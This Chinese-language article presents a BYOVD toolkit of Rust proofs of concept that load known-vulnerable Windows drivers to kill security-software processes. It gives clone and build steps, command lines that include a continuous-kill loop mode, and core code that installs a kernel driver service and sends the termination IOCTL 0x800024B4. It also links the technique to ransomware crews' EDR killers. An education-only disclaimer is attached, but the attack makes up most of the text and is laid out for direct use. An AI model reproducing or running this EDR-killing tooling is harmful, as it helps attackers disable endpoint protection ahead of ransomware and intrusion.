BYOVD Arsenal:内核级EDR规避武器库实战解析

4 阅读6分钟

BYOVD Arsenal: 内核级EDR规避武器库实战解析

BYOVD Arsenal 是一个专注于 Bring Your Own Vulnerable Driver (BYOVD) 技术的概念验证(PoC)项目集合。它通过利用多个已知存在漏洞的合法驱动程序,演示了如何在Windows操作系统中从用户态与内核态交互,进而强制终止目标进程(特别是安全软件进程)。该项目旨在为安全研究人员和红队成员提供深入理解BYOVD攻击原理、驱动程序逆向工程以及EDR规避技术的实战素材。

重要声明:本项目中的PoC仅用于教育、研究和防御测试目的。请勿用于非法或未授权的攻击活动。使用本项目中的任何代码所引发的法律责任由使用者自行承担。

功能特性

  • 多驱动PoC覆盖:针对多个真实世界中被滥用的易受攻击驱动程序,提供了独立的进程终止PoC。
  • 两种利用模式:部分PoC(如K7Terminator)支持 BYOVD(直接加载易受攻击驱动)和 LPE(等待并利用已加载的服务)两种模式。
  • 实战化场景:PoC的设计紧密贴合真实攻击场景,如勒索软件组(RansomHub)使用的EDRKillShifter工具原理,以及APT组织(SilverFox)的BYOVD利用手法。
  • 详细的驱动分析:每个PoC都对应特定的驱动版本和SHA256哈希值,便于追踪和复现。
  • 完善的错误处理与资源管理:Rust编写的PoC展示了如何利用RAII模式安全地管理Windows系统句柄(如服务句柄、设备句柄)。

安装指南

系统要求

  • 操作系统: Windows 7 及以上版本(建议使用 Windows 10/11 进行测试)
  • 目标驱动程序: 需要从原始软件安装包中获取对应版本的 .sys 文件。
  • 编译器: Rust (推荐使用 stable 工具链)

编译步骤

  1. 安装 Rust:如果尚未安装Rust,请访问 rustup.rs 下载并安装。
  2. 获取项目代码
    git clone https://github.com/BlackSnufkin/BYOVD.git
    cd BYOVD
    
  3. 编译特定PoC:以 BdApiUtil-Killer 为例:
    cd BdApiUtil-Killer
    cargo build --release
    
    编译完成后,可执行文件将位于 target/release/BdApiUtil-Killer.exe
  4. 准备驱动程序:将对应的易受攻击驱动(如 BdApiUtil64.sys)与编译好的可执行文件放在同一目录下,并确保驱动文件名与PoC要求的名称一致(通常为原始驱动名)。

使用说明

所有PoC的使用方法基本一致,均通过命令行参数指定目标进程。以下是通用示例和典型场景。

基础使用示例 (BdApiUtil-Killer)

  1. BdApiUtil64.sysBdApiUtil-Killer.exe 置于同一目录。

  2. 打开管理员权限的命令提示符或PowerShell。

  3. 运行以下命令终止 notepad.exe 进程:

    .\BdApiUtil-Killer.exe -n notepad.exe
    

    如果命令执行成功,所有名为 notepad.exe 的进程将被强制终止。

进阶使用场景 (K7Terminator)

K7Terminator 提供了更灵活的利用方式,支持通过进程名或PID进行终止,并可以持续监控。

  • BYOVD模式 (需要管理员权限):直接加载驱动并终止PID为1234的进程。
    .\K7Terminator.exe -m byovd -p 1234
    
  • LPE模式 (等待系统服务):利用系统中可能已经加载的K7服务来终止所有 notepad.exe 进程。此模式可能在低权限下也可用,取决于驱动漏洞。
    .\K7Terminator.exe -m lpe -n notepad.exe
    
  • 循环终止模式:持续监控并终止所有 notepad.exe 进程,直到手动停止程序。
    .\K7Terminator.exe -m byovd -n notepad.exe -l
    

API概览

所有PoC遵循相似的内部流程:

  1. 服务管理:通过OpenSCManagerW打开服务控制管理器,并使用CreateServiceW创建或OpenServiceW打开一个内核驱动服务。
  2. 驱动加载:通过StartServiceW启动服务,将易受攻击的驱动加载到内核中。
  3. 设备通信:驱动加载后,通常会创建一个设备对象,用户态程序通过CreateFileW打开该设备(如 \\.\BdApiUtil)。
  4. 发送IOCTL:通过DeviceIoControl向设备发送特定的控制码(IOCTL_CODE,如 0x800024B4),并附带包含目标PID或进程名的数据结构。
  5. 驱动响应:易受攻击的驱动在内核态接收到IOCTL后,由于缺乏对输入参数的充分验证或存在不当的功能实现,会执行ZwTerminateProcess或其他内核函数,强制结束目标进程。

核心代码

以下是 BdApiUtil-Killer 的核心逻辑,展示了从加载驱动到发送终止进程IOCTL的完整流程。

// BdApiUtil-Killer/src/main.rs 核心片段

// ... (前面是导入和常量定义)

// 定义驱动配置 trait
trait DriverConfig {
    const NAME: &'static str;
    const PATH: &'static str;
    const DEVICE: &'static str;
    const IOCTL_CODE: DWORD;
}

// BdApiUtil 驱动的具体配置
struct BdApiUtilDriver;
impl DriverConfig for BdApiUtilDriver {
    const NAME: &'static str = "BdApiUtil64";
    const PATH: &'static str = "\\BdApiUtil64.sys";
    const DEVICE: &'static str = "\\\\.\\BdApiUtil";
    const IOCTL_CODE: DWORD = 0x800024B4; // 用于终止进程的魔法IOCTL码
}

// 主程序结构
struct ProcessKiller<D: DriverConfig> {
    _phantom: std::marker::PhantomData<D>,
    target_pid: DWORD,
}

impl<D: DriverConfig> ProcessKiller<D> {
    fn new(target_pid: DWORD) -> Self {
        Self { _phantom: std::marker::PhantomData, target_pid }
    }

    // 1. 安装并启动驱动服务
    unsafe fn install_and_start_driver(&self) -> Result<SC_HANDLE> {
        let sc_manager = OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE);
        if sc_manager.is_null() { /* 错误处理 */ }

        // 获取当前目录并构建驱动文件的完整路径
        let mut current_dir = [0u16; MAX_PATH];
        GetCurrentDirectoryW(MAX_PATH as DWORD, current_dir.as_mut_ptr());
        let wide_path = ... // 构建路径字符串

        // 创建内核驱动服务
        let service = CreateServiceW(
            sc_manager,
            // ... 参数: 服务名、显示名、访问权限、服务类型、启动类型等
            SERVICE_KERNEL_DRIVER, // 指定为内核驱动
            SERVICE_AUTO_START,
            SERVICE_ERROR_NORMAL,
            wide_path.as_ptr(),
            // ... 其他参数
        );
        
        // 启动服务 (加载驱动)
        StartServiceW(service, 0, null_mut());
        Ok(service)
    }

    // 2. 打开设备并发送IOCTL
    unsafe fn send_terminate_ioctl(&self) -> Result<()> {
        let device_path: Vec<u16> = OsStr::new(D::DEVICE).encode_wide().chain(Some(0)).collect();
        // 打开设备驱动句柄
        let device_handle = CreateFileW(
            device_path.as_ptr(),
            GENERIC_WRITE | GENERIC_READ,
            0,
            null_mut(),
            OPEN_EXISTING,
            0,
            null_mut(),
        );

        if device_handle == INVALID_HANDLE_VALUE { /* 错误处理 */ }

        let mut bytes_returned = 0;
        // 构建IOCTL输入结构 (这里目标驱动期望一个包含PID的结构)
        let input_buffer = self.target_pid; 

        // 发送IOCTL到驱动
        let success = DeviceIoControl(
            device_handle,
            D::IOCTL_CODE,            // 控制码: 0x800024B4
            &input_buffer as *const _ as LPVOID,
            std::mem::size_of::<DWORD>() as DWORD,
            null_mut(),
            0,
            &mut bytes_returned,
            null_mut(),
        );

        CloseHandle(device_handle);
        if success == 0 { /* 错误处理 */ }
        Ok(())
    }

    // 3. 主执行函数
    fn execute(&self) -> Result<()> {
        unsafe {
            // 步骤1: 加载驱动
            let service_handle = self.install_and_start_driver()?;
            
            // 步骤2: 发送终止命令
            self.send_terminate_ioctl()?;

            // 步骤3: 停止并删除驱动服务 (清理工作)
            // ... (停止服务、删除服务的代码)
            Ok(())
        }
    }
}

以上代码清晰地展示了BYOVD攻击的标准流程:服务加载 -> 设备打开 -> IOCTL发送。该项目中其他PoC,如K7TerminatorNsic-Killer,核心逻辑与此类似,主要区别在于驱动的名称、设备路径以及关键的IOCTL控制码。FINISHED 6HFtX5dABrKlqXeO5PUv/4Bi5tAaw9TkZ+fv6RhWOEU=